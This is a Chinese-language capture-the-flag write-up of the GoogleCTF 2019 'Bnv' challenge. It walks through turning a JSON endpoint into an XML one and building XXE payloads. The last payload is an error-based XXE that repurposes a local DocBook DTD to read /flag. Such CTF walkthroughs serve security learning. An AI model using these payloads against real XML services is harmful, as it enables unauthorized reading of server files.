[GoogleCTF2019 Quals]Bnv
先bp抓包发现
是json数据:由json数据想到是xxe注入,再次基础上修改Content-Type为application/xml,发现是少了一个<,感觉是少了一个xml文件的头,加一个
1
| <?xml version="1.0" encoding="UTF-8"?>
|
报错说是没找到DTD文件,添加DTD文件的实体
1 2 3 4 5
| <?xml version="1.0"?> <!DOCTYPE message[ <!ENTITY xxe "135601360123502401401250"> ]> <message>&xxe;</message>
|
报错没有元素消息的声明
可以看到报错没有元素消息的声明,显然解析器需要在DTD中声明以定义的元素,有点像在使用变量之前声明变量。所以让我们给它想要的,我们要做的就是在DTD中声明消息,我们可以通过使用数据,指定名为message的元素来实现这一点,定义类型设置为PC数据,现在让我们继续尝试。
这里得说一下DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例
回显成功,通过外带数据的形式添加一个外部实体来发出出口请求。
未加载外部实体,需要使用内部dtd文件加载,(之前还用加载文件的方法,结果标记错误)
最后的数据:
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0"?> <!DOCTYPE message[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>"> %eval; %error; '> %local_dtd; ]>
|
参考链接:https://blog.csdn.net/cjdgg/article/details/114420160
Author:
odiws
Permalink:
http://odiws.github.io/2024/09/18/Quals-Bnv/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?